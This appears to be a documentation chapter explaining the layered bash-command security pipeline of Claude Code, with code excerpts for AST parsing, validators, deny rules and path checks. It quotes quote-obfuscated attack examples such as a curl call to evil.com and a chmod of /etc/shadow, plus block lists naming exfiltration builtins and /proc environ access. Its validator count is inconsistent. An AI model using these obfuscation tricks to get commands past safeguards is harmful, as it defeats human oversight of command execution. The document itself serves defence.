跳转到内容

Bash 27-Layer Security

此内容尚不支持你的语言。

The BashTool is the most security-critical component in Claude Code. It’s the only tool that can execute arbitrary system commands, making it the primary attack surface. To defend against prompt injection, command injection, and privilege escalation, Claude Code implements a multi-layered security pipeline that every bash command must pass through before execution.

This chapter documents the complete decision tree — from the initial AST parse through 27 distinct security validators to the final permission decision.

The bash security system is split across several files:

FileLinesPurpose
src/tools/BashTool/bashPermissions.ts~2600Main permission pipeline, rule matching, subcommand splitting
src/tools/BashTool/bashSecurity.ts~250023 security validators for command injection detection
src/tools/BashTool/pathValidation.ts~1300Path constraint checking, working directory enforcement
src/tools/BashTool/modeValidation.ts~115Mode-specific command allowlists (acceptEdits commands)
src/tools/BashTool/sedValidation.tsBlocks dangerous sed operations before mode auto-allow
src/tools/BashTool/bashCommandHelpers.ts~300Pipe and operator permission handling
src/utils/bash/ast.ts~2500Tree-sitter AST parsing and semantic checks
src/utils/permissions/bashClassifier.tsAI-based command classification (prompt rules)

When bashToolHasPermission() is called, a command traverses the following layers:

flowchart TD
Entry["bashToolHasPermission(command)"] --> L0
subgraph "Phase 0: AST Parse"
L0["Layer 0: Tree-sitter AST parse"]
L0 -->|simple| Semantics["Layer 1: checkSemantics"]
L0 -->|too-complex| TooComplex["Layer 2: Too-complex handling"]
L0 -->|unavailable| Legacy["Layer 3: Legacy shell-quote parse"]
end
Semantics -->|fail| SemanticDeny["Check deny rules → ASK"]
Semantics -->|pass| SandboxCheck
TooComplex --> EarlyDeny["Check deny rules → ASK"]
Legacy -->|fail| ParseAsk["ASK: malformed syntax"]
Legacy -->|pass| SandboxCheck
subgraph "Phase 1: Fast Paths"
SandboxCheck{"Layer 4: Sandbox<br/>auto-allow?"}
SandboxCheck -->|yes + no deny| SandboxAllow["ALLOW (sandboxed)"]
SandboxCheck -->|no| ExactMatch
ExactMatch["Layer 5: Exact match<br/>deny/ask/allow rules"]
ExactMatch -->|deny| Deny1["DENY"]
ExactMatch -->|ask/allow| ClassifierCheck
end
subgraph "Phase 2: Classifier Rules"
ClassifierCheck["Layer 6: Classifier deny rules"]
ClassifierCheck -->|deny match| ClassDeny["DENY"]
ClassifierCheck -->|no match| AskClassifier
AskClassifier["Layer 7: Classifier ask rules"]
AskClassifier -->|ask match| ClassAsk["ASK"]
AskClassifier -->|no match| OperatorCheck
end
subgraph "Phase 3: Structural Analysis"
OperatorCheck["Layer 8: Pipe/operator<br/>decomposition"]
OperatorCheck -->|pipes found| PipeProcess["Process each segment"]
OperatorCheck -->|no pipes| MisparseGate
MisparseGate["Layer 9: Legacy<br/>misparsing gate"]
MisparseGate -->|unsafe patterns| AskMisparse["ASK"]
MisparseGate -->|safe| SubcommandSplit
end
SubcommandSplit["Layer 10: Subcommand split"] --> CdCheck
subgraph "Phase 4: Per-Subcommand Checks"
CdCheck["Layer 11: Multiple cd check"]
CdCheck -->|multiple cd| AskCd["ASK"]
CdCheck -->|ok| CdGitCheck
CdGitCheck["Layer 12: cd + git<br/>bare repo guard"]
CdGitCheck -->|cd && git| AskCdGit["ASK"]
CdGitCheck -->|ok| SubPermChecks
SubPermChecks["Layer 13-22: Per-subcommand<br/>permission pipeline"] --> FinalDecision
end
subgraph "Phase 5: Aggregation"
FinalDecision{"All subcommands<br/>allowed?"}
FinalDecision -->|all allow + no injection| AllowFinal["ALLOW"]
FinalDecision -->|any deny| DenyFinal["DENY"]
FinalDecision -->|any ask/passthrough| AskFinal["ASK + suggestions"]
end

The first thing bashToolHasPermission does is attempt to parse the command with tree-sitter:

// src/tools/BashTool/bashPermissions.ts (line ~1688)
let astRoot = injectionCheckDisabled
? null
: await parseCommandRaw(input.command)
let astResult: ParseForSecurityResult = astRoot
? parseForSecurityFromAst(input.command, astRoot)
: { kind: 'parse-unavailable' }

The parse returns one of three results:

ResultMeaningNext Step
simpleClean parse — array of SimpleCommand[] with resolved quotes, no hidden substitutionsProceed to semantic checks
too-complexParse succeeded but found dangerous structures (command substitution, expansions, control flow)Fall through to ask, respecting deny rules
parse-unavailableTree-sitter WASM not loaded or feature-gated offFall back to legacy shell-quote path

For simple results, checkSemantics in ast.ts validates the commands at the semantic level:

// src/utils/bash/ast.ts (line ~2213)
export function checkSemantics(commands: SimpleCommand[]): SemanticCheckResult {
for (const cmd of commands) {
// Strip safe wrappers (nohup, time, timeout, nice)
let a = cmd.argv
// ... wrapper stripping ...
const name = a[0]
// Block eval, exec, and other eval-equivalents
if (EVAL_COMMANDS.has(name)) return { ok: false, reason: ... }
// Block Zsh dangerous builtins
if (ZSH_DANGEROUS.has(name)) return { ok: false, reason: ... }
// Block jq system() function calls
if (name === 'jq' && hasSystemFunction(a)) return { ok: false, reason: ... }
// Check for argv elements containing newlines (parser differential)
// Check for /proc/environ access
}
return { ok: true }
}

What it catches:

  • eval, exec, source, . (eval-equivalents)
  • zmodload, emulate -c, sysopen, ztcp, etc. (Zsh dangerous builtins)
  • jq with system() function calls or file arguments
  • Argv elements containing literal newlines (parser differential risk)
  • /proc/*/environ access (environment variable exfiltration)

When tree-sitter detects structures it can’t statically verify (command substitutions, parameter expansions, control flow keywords, parser differentials), it returns too-complex:

// src/tools/BashTool/bashPermissions.ts (line ~1741)
if (astResult.kind === 'too-complex') {
const earlyExit = checkEarlyExitDeny(input, appState.toolPermissionContext)
if (earlyExit !== null) return earlyExit
return { behavior: 'ask', reason: astResult.reason, suggestions: [] }
}

The too-complex path still respects deny rules — a command with $() substitution that matches Bash(eval:*) deny will be denied, not just asked.

When tree-sitter is unavailable, the system falls back to the shell-quote library:

// src/tools/BashTool/bashPermissions.ts (line ~1815)
const parseResult = tryParseShellCommand(input.command)
if (!parseResult.success) {
return { behavior: 'ask', reason: `Malformed syntax: ${parseResult.error}` }
}

When sandboxing is enabled with autoAllowBashIfSandboxed, commands that will run in a sandbox are auto-allowed — unless explicit deny/ask rules exist:

// src/tools/BashTool/bashPermissions.ts (line ~1270)
function checkSandboxAutoAllow(input, toolPermissionContext): PermissionResult {
// Check deny/ask on full command
const { matchingDenyRules, matchingAskRules } = matchingRulesForInput(...)
if (matchingDenyRules[0]) return { behavior: 'deny', ... }
// SECURITY: Check EACH subcommand against deny/ask rules
const subcommands = splitCommand(command)
if (subcommands.length > 1) {
for (const sub of subcommands) {
const subResult = matchingRulesForInput({ command: sub }, ...)
if (subResult.matchingDenyRules[0]) return { behavior: 'deny', ... }
}
}
return { behavior: 'allow', reason: 'Auto-allowed with sandbox' }
}

Before any deeper analysis, the command is checked against exact-match rules:

// src/tools/BashTool/bashPermissions.ts (line ~991)
export const bashToolCheckExactMatchPermission = (input, context) => {
const { matchingDenyRules, matchingAskRules, matchingAllowRules } =
matchingRulesForInput(input, context, 'exact')
// Priority: deny > ask > allow
if (matchingDenyRules[0]) return { behavior: 'deny', ... }
if (matchingAskRules[0]) return { behavior: 'ask', ... }
if (matchingAllowRules[0]) return { behavior: 'allow', ... }
return { behavior: 'passthrough', ... }
}

When the bash classifier feature is enabled, natural-language deny descriptions are evaluated:

// src/tools/BashTool/bashPermissions.ts (line ~1866)
const denyDescriptions = getBashPromptDenyDescriptions(context)
const [denyResult, askResult] = await Promise.all([
hasDeny ? classifyBashCommand(input.command, cwd, denyDescriptions, 'deny', ...) : null,
hasAsk ? classifyBashCommand(input.command, cwd, askDescriptions, 'ask', ...) : null,
])
if (denyResult?.matches && denyResult.confidence === 'high') {
return { behavior: 'deny', message: `Denied by Bash prompt rule: "${denyResult.matchedDescription}"` }
}

If deny rules don’t match, ask rules are checked. A high-confidence match triggers a permission prompt with the matched description:

if (askResult?.matches && askResult.confidence === 'high') {
return { behavior: 'ask', reason: `Required by Bash prompt rule: "${askResult.matchedDescription}"` }
}

Phase 3: Structural Analysis (Layers 8–9)

Section titled “Phase 3: Structural Analysis (Layers 8–9)”

Commands with pipes (|), redirections, and other operators are decomposed by checkCommandOperatorPermissions:

src/tools/BashTool/bashCommandHelpers.ts
async function segmentedCommandPermissionResult(input, segments, ...) {
// Check for multiple cd commands across segments
// Check for cd+git across pipe segments (bare repo attack)
// Process each segment through full permission system
// Deny if ANY segment is denied
// Allow only if ALL segments are allowed
}

Security critical: When pipe segments all return allow, the original command is still checked for:

  1. Path constraints on output redirections (which were stripped from segments)
  2. Dangerous patterns (backticks, $()) in redirect targets

When tree-sitter is unavailable, a legacy security check detects patterns that splitCommand_DEPRECATED might misparse:

// src/tools/BashTool/bashPermissions.ts (line ~2089)
const originalCommandSafetyResult = await bashCommandIsSafeAsync(input.command)
if (originalCommandSafetyResult.behavior === 'ask' &&
originalCommandSafetyResult.isBashSecurityCheckForMisparsing) {
// Try stripping safe heredoc substitutions and re-checking
const remainder = stripSafeHeredocSubstitutions(input.command)
// ...
}

Phase 4: Per-Subcommand Checks (Layers 10–22)

Section titled “Phase 4: Per-Subcommand Checks (Layers 10–22)”

The command is split into individual subcommands. Tree-sitter results are preferred:

const rawSubcommands = astSubcommands ?? splitCommand(input.command)
// Filter out `cd ${cwd}` prefix subcommands
const { subcommands, astCommandsByIdx } = filterCdCwdSubcommands(...)

A subcommand cap prevents DoS:

export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
// Above the cap → fall back to 'ask'
const cdCommands = subcommands.filter(cmd => isNormalizedCdCommand(cmd))
if (cdCommands.length > 1) {
return { behavior: 'ask', reason: 'Multiple directory changes require approval' }
}

A compound command with both cd and git is always flagged. This prevents sandbox escape via bare git repos with core.fsmonitor:

// src/tools/BashTool/bashPermissions.ts (line ~2209)
if (compoundCommandHasCd) {
const hasGitCommand = subcommands.some(cmd => isNormalizedGitCommand(cmd.trim()))
if (hasGitCommand) {
return { behavior: 'ask', reason: 'cd + git require approval to prevent bare repository attacks' }
}
}

isNormalizedGitCommand and isNormalizedCdCommand normalize away safe wrappers and shell quotes before checking:

export function isNormalizedGitCommand(command: string): boolean {
if (command.startsWith('git ') || command === 'git') return true
const stripped = stripSafeWrappers(command)
const parsed = tryParseShellCommand(stripped)
if (parsed.success && parsed.tokens.length > 0) {
if (parsed.tokens[0] === 'git') return true
if (parsed.tokens[0] === 'xargs' && parsed.tokens.includes('git')) return true
}
return /^git(?:\s|$)/.test(stripped)
}

Layers 13–22: Per-Subcommand Permission Pipeline (bashToolCheckPermission)

Section titled “Layers 13–22: Per-Subcommand Permission Pipeline (bashToolCheckPermission)”

Each subcommand runs through its own pipeline:

// src/tools/BashTool/bashPermissions.ts (line ~1050)
export const bashToolCheckPermission = (input, context, compoundCommandHasCd, astCommand) => {
// 1. Exact match first
// 2. Prefix/wildcard deny rules → DENY
// 3. Prefix/wildcard ask rules → ASK
// 4. Path constraints (checkPathConstraints)
// 5. Exact match allow
// 6. Prefix/wildcard allow rules → ALLOW
// 5b. Sed constraints (blocks dangerous sed before mode auto-allow)
// 7. Mode-specific handling (acceptEdits allowlist)
// 8. Read-only check (BashTool.isReadOnly)
// 9. Passthrough → triggers permission prompt
}

The 23 Security Validators (bashSecurity.ts)

Section titled “The 23 Security Validators (bashSecurity.ts)”

The bashCommandIsSafe_DEPRECATED function runs 23 validators in sequence. Each validator returns allow (early exit), ask (flag for review), or passthrough (continue to next validator):

#ValidatorCheck IDWhat It Catches
1validateControlCharacters17Null bytes, non-printable chars that confuse subsequent validators
2validateShellQuoteSingleQuoteBugshell-quote library bug with single-quote backslashes
3validateEmptyEmpty commands (auto-allow)
4validateSafeCommandSubstitutionSafe heredoc patterns $(cat <<'EOF'...EOF) (early allow)
5validateIncompleteCommands1Fragments starting with tab, flags, or operators
6validateGitCommit12Substitution-free git commit commands (early allow)
7validateJqCommand2, 3jq with system() calls or file write arguments
8validateObfuscatedFlags4Shell quoting bypass for flag detection (cu""rl, ch''mod)
9validateShellMetacharacters5Unquoted ;, |, & in arguments
10validateDangerousVariables6$IFS, $PATH, $LD_PRELOAD in unquoted positions
11validateNewlines7Backslash-escaped newlines (\\\n) hiding command continuations
12validateCarriageReturn\r characters (terminal UI spoofing)
13validateDangerousPatterns8$(), ${}, $[], process substitution, Zsh expansions, backticks
14validateRedirections9, 10Input (<) and output (>, >>) redirections
15validateIFSInjection11$IFS and ${...IFS...} patterns (field splitting attacks)
16validateProcEnvironAccess13/proc/*/environ, /proc/self/environ (secret exfiltration)
17validateMalformedTokenInjection14Tokens that parse differently than they appear
18validateBackslashEscapedWhitespace15\ (space) and \ (tab) hiding operator boundaries
19validateBackslashEscapedOperators21\;, |, \& that look like operators but aren’t
20validateBraceExpansion16{a,b} brace expansion (command name manipulation)
21validateUnicodeWhitespace18Non-ASCII whitespace (U+00A0, etc.) hiding content
22validateMidWordHash19# in mid-word position (shell-quote/bash parser differential)
23validateCommentQuoteDesync22Quote characters inside comments desynchronizing quote tracking
24validateQuotedNewline23Newlines inside quotes with # creating comment injection
25validateZshDangerousCommands20zmodload, emulate, sysopen, ztcp, etc.

The first validator blocks control characters because they can confuse all subsequent regex-based checks:

// src/tools/BashTool/bashSecurity.ts (line ~2260)
export function bashCommandIsSafe_DEPRECATED(command: string): PermissionResult {
// SECURITY: Block control characters before any other processing
if (CONTROL_CHAR_RE.test(command)) {
return { behavior: 'ask', message: 'Command contains control characters' }
}
// ...
}

Attackers can bypass flag detection by splitting flag strings across quotes:

Terminal window
# These all run `curl`, but quote-splitting hides the flag from regex
cu""rl -o /etc/passwd http://evil.com
ch''mod 777 /etc/shadow
function validateObfuscatedFlags(context: ValidationContext): PermissionResult {
const { originalCommand, baseCommand } = context
// Echo is safe for obfuscated flags, BUT only for simple echo commands
// Not safe if echo has redirections (echo "payload" > file)
// ...
}

Validator 13: Dangerous Patterns (Command Substitution)

Section titled “Validator 13: Dangerous Patterns (Command Substitution)”

This is the broadest validator, checking for multiple expansion types:

const COMMAND_SUBSTITUTION_PATTERNS = [
{ pattern: /<\(/, message: 'process substitution <()' },
{ pattern: />\(/, message: 'process substitution >()' },
{ pattern: /=\(/, message: 'Zsh process substitution =()' },
{ pattern: /(?:^|[\s;&|])=[a-zA-Z_]/, message: 'Zsh equals expansion (=cmd)' },
{ pattern: /\$\(/, message: '$() command substitution' },
{ pattern: /\$\{/, message: '${} parameter substitution' },
{ pattern: /\$\[/, message: '$[] legacy arithmetic expansion' },
{ pattern: /~\[/, message: 'Zsh-style parameter expansion' },
{ pattern: /\(e:/, message: 'Zsh-style glob qualifiers' },
{ pattern: /\(\+/, message: 'Zsh glob qualifier with command execution' },
{ pattern: /\}\s*always\s*\{/, message: 'Zsh always block (try/always)' },
{ pattern: /<#/, message: 'PowerShell comment syntax' },
]

A dedicated check for Zsh-specific attack vectors:

const ZSH_DANGEROUS_COMMANDS = new Set([
'zmodload', // Gateway to dangerous modules
'emulate', // eval-equivalent with -c flag
'sysopen', // Fine-grained file control (zsh/system)
'sysread', // File descriptor reads (zsh/system)
'syswrite', // File descriptor writes (zsh/system)
'zpty', // Pseudo-terminal command execution (zsh/zpty)
'ztcp', // TCP connections for exfiltration (zsh/net/tcp)
'zsocket', // Unix/TCP sockets (zsh/net/socket)
'zf_rm', // Builtin rm from zsh/files
'zf_mv', // Builtin mv from zsh/files
// ... more zsh builtins
])

Before rule matching, safe wrapper commands are stripped so that timeout 10 npm install matches the Bash(npm install:*) rule:

// src/tools/BashTool/bashPermissions.ts (line ~524)
export function stripSafeWrappers(command: string): string {
const SAFE_WRAPPER_PATTERNS = [
/^timeout[ \t]+(?:...)[ \t]+\d+(?:\.\d+)?[smhd]?[ \t]+/,
/^time[ \t]+(?:--[ \t]+)?/,
/^nice(?:[ \t]+-n[ \t]+-?\d+|[ \t]+-\d+)?[ \t]+(?:--[ \t]+)?/,
/^stdbuf(?:[ \t]+-[ioe][LN0-9]+)+[ \t]+(?:--[ \t]+)?/,
/^nohup[ \t]+(?:--[ \t]+)?/,
]
// Also strips safe env vars: NODE_ENV, RUST_LOG, LANG, etc.
// Phase 1: Strip env vars + comments
// Phase 2: Strip wrapper commands + comments (NOT env vars)
}

Critical security detail: The two-phase stripping is intentional. After a wrapper like nohup, env vars are treated as the COMMAND to execute, not as assignments. Stripping env vars in phase 2 would create a mismatch (HackerOne #3543050).

Only a carefully curated allowlist of environment variables is stripped:

const SAFE_ENV_VARS = new Set([
// NEVER add: PATH, LD_PRELOAD, LD_LIBRARY_PATH, DYLD_*
// NEVER add: PYTHONPATH, NODE_PATH, CLASSPATH, RUBYLIB
// NEVER add: GOFLAGS, RUSTFLAGS, NODE_OPTIONS
// NEVER add: HOME, TMPDIR, SHELL, BASH_ENV
'GOEXPERIMENT', 'GOOS', 'GOARCH', 'CGO_ENABLED', 'GO111MODULE',
'RUST_BACKTRACE', 'RUST_LOG',
'NODE_ENV',
'PYTHONUNBUFFERED', 'PYTHONDONTWRITEBYTECODE',
'LANG', 'LC_ALL', 'TERM', 'NO_COLOR', 'FORCE_COLOR', 'TZ',
// ... more safe vars
])

A subtle but critical design choice: deny rules strip ALL env vars while allow rules only strip safe env vars:

// Deny/ask rules: aggressive stripping (can't bypass deny with FOO=bar)
const matchingDenyRules = filterRulesByContentsMatchingInput(
input, denyRuleByContents, matchMode,
{ stripAllEnvVars: true, skipCompoundCheck: true },
)
// Allow rules: conservative stripping (DOCKER_HOST=evil docker ps won't match)
const matchingAllowRules = filterRulesByContentsMatchingInput(
input, allowRuleByContents, matchMode,
{ skipCompoundCheck: false }, // stripAllEnvVars defaults to false
)

The stripAllLeadingEnvVars function uses fixed-point iteration to handle interleaved patterns like nohup FOO=bar timeout 5 denied_command.

The checkPathConstraints function ensures commands don’t operate on files outside the project directory:

Key checks:

  1. Output redirections: >, >> to paths outside the working directory are flagged
  2. Sensitive paths: .git/, .claude/, .vscode/, shell configs (.bashrc, .zshrc) trigger safety checks
  3. cd + redirect guard: Compound commands with cd AND file modifications are specially handled
  4. AST-aware: When tree-sitter data is available, redirections are extracted from the AST rather than re-parsed

When entering auto mode, the system strips overly broad allow rules that would bypass the classifier:

src/utils/permissions/permissionSetup.ts
export function isDangerousBashPermission(toolName: string, ruleContent?: string): boolean {
if (ruleContent === undefined || ruleContent === '') return true // Bash(*) = allow all
if (content === '*') return true
for (const pattern of DANGEROUS_BASH_PATTERNS) {
if (content === `${lowerPattern}:*`) return true // python:*
if (content === `${lowerPattern}*`) return true // python*
if (content === `${lowerPattern} *`) return true // python *
}
return false
}

The dangerous patterns list:

src/utils/permissions/dangerousPatterns.ts
export const DANGEROUS_BASH_PATTERNS: readonly string[] = [
// Interpreters
'python', 'python3', 'python2', 'node', 'deno', 'tsx', 'ruby', 'perl', 'php', 'lua',
// Package runners
'npx', 'bunx', 'npm run', 'yarn run', 'pnpm run', 'bun run',
// Shells
'bash', 'sh', 'zsh', 'fish',
// Eval-equivalents
'eval', 'exec', 'env', 'xargs', 'sudo',
// Remote execution
'ssh',
]

The system prevents suggestion of overly broad prefix rules:

const BARE_SHELL_PREFIXES = new Set([
'sh', 'bash', 'zsh', 'fish', 'csh', 'tcsh', 'ksh', 'dash',
'cmd', 'powershell', 'pwsh',
'env', 'xargs', // wrappers that exec their args
'nice', 'stdbuf', 'nohup', 'timeout', 'time', // safe wrappers (stripped by semantics)
'sudo', 'doas', 'pkexec', // privilege escalation
])

Here is the full ordered list of all security layers a bash command passes through:

LayerLocationCheckOn Fail
0bashPermissions.tsTree-sitter AST parseFall to legacy
1ast.tscheckSemantics — eval, zsh builtins, jq system()ASK
2bashPermissions.tsToo-complex AST result handlingASK
3bashPermissions.tsLegacy tryParseShellCommandASK
4bashPermissions.tsSandbox auto-allow (with deny/ask rule respect)Continue
5bashPermissions.tsExact match deny/ask/allow rulesDENY/ASK/ALLOW
6bashPermissions.tsClassifier deny descriptionsDENY
7bashPermissions.tsClassifier ask descriptionsASK
8bashCommandHelpers.tsPipe/operator decompositionRecurse per segment
9bashPermissions.tsLegacy misparsing gate (bashCommandIsSafe)ASK
10bashPermissions.tsSubcommand split + cap (50 max)ASK
11bashPermissions.tsMultiple cd checkASK
12bashPermissions.tscd + git bare repo guardASK
13bashPermissions.tsPer-subcommand exact match rulesDENY/ASK/ALLOW
14bashPermissions.tsPer-subcommand prefix/wildcard deny rulesDENY
15bashPermissions.tsPer-subcommand prefix/wildcard ask rulesASK
16pathValidation.tsPath constraints (outside project, sensitive files)ASK
17bashPermissions.tsPer-subcommand prefix/wildcard allow rulesALLOW
18sedValidation.tsDangerous sed operationsASK
19modeValidation.tsMode-specific command allowlist (acceptEdits)ALLOW/passthrough
20bashPermissions.tsRead-only command check (BashTool.isReadOnly)ALLOW
21bashSecurity.ts25 security validators (injection, substitution, etc.)ASK
22bashPermissions.tsSubcommand result aggregationDENY/ALLOW/ASK
23bashPermissions.tsPath constraints on original command (redirect targets)DENY/ASK
24bashPermissions.tsPending classifier check attachment
25permissions.tsMode post-processing (dontAsk → deny, auto → classifier)DENY/ALLOW
26permissions.tsHeadless agent handling (hooks → auto-deny)DENY
27permissions.tsDenial tracking (consecutive denial limits)ASK fallback

A key security invariant: prefix/wildcard rules do NOT match compound commands. Without this, Bash(cd:*) would match cd /tmp && python3 evil.py:

// filterRulesByContentsMatchingInput (line ~891)
case 'prefix': {
if (isCompoundCommand.get(cmdToMatch)) {
return false // SECURITY: Don't allow prefix rules to match compound commands
}
return cmdToMatch.startsWith(bashRule.prefix + ' ')
}

xargs gets special handling because it effectively runs the command in the current directory:

// Also match "xargs <prefix>" for bare xargs with no flags.
const xargsPrefix = 'xargs ' + bashRule.prefix
if (cmdToMatch === xargsPrefix) return true
return cmdToMatch.startsWith(xargsPrefix + ' ')

This means Bash(grep:*) deny also blocks xargs grep pattern, and Bash(rm:*) deny blocks xargs rm file.

The system can run tree-sitter in shadow mode, logging divergence from the legacy parser without using the AST for decisions:

if (feature('TREE_SITTER_BASH_SHADOW')) {
// Record verdicts for both parsers
logEvent('tengu_tree_sitter_shadow', { available, astTooComplex, subsDiffer, ... })
// Always force legacy path — shadow is observational only
astResult = { kind: 'parse-unavailable' }
}

This allows the team to validate tree-sitter’s correctness before trusting it for security decisions.

The isSafeHeredoc function allows $(cat <<'EOF'...EOF) patterns through the $() validator when they meet strict criteria:

  • Delimiter must be single-quoted or escaped (no expansion in body)
  • Closing delimiter must be on its own line
  • The $() must be in argument position, not command position
  • Remaining text (after heredoc stripping) must pass all validators
  • No nested heredoc matches (prevents index corruption attacks)

The security pipeline is hot code — it runs on every bash invocation:

  • Subcommand cap: Maximum 50 subcommands to prevent exponential blowup
  • Compound rule suggestions cap: Maximum 5 rules suggested per compound command
  • Batched telemetry: Divergence events are aggregated instead of per-subcommand
  • Lazy parsing: Tree-sitter is only invoked when the feature flag is on
  • Speculative classifier checks: Started early to run in parallel with the permission dialog
export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
export const MAX_SUGGESTED_RULES_FOR_COMPOUND = 5

The bash security system follows several key principles:

  1. Fail closed: Unknown patterns are flagged for review, never auto-allowed
  2. Defense in depth: Multiple independent validators catch overlapping threat categories
  3. Deny rules are king: Deny rules cannot be bypassed by any mode, wrapper, or env var prefix
  4. AST-first, regex-fallback: Tree-sitter provides structural correctness; regex catches edge cases
  5. Asymmetric stripping: Allow rules are conservative (safe env vars only); deny rules are aggressive (strip everything)
  6. No silent failures: Every decision carries a decisionReason for debugging and telemetry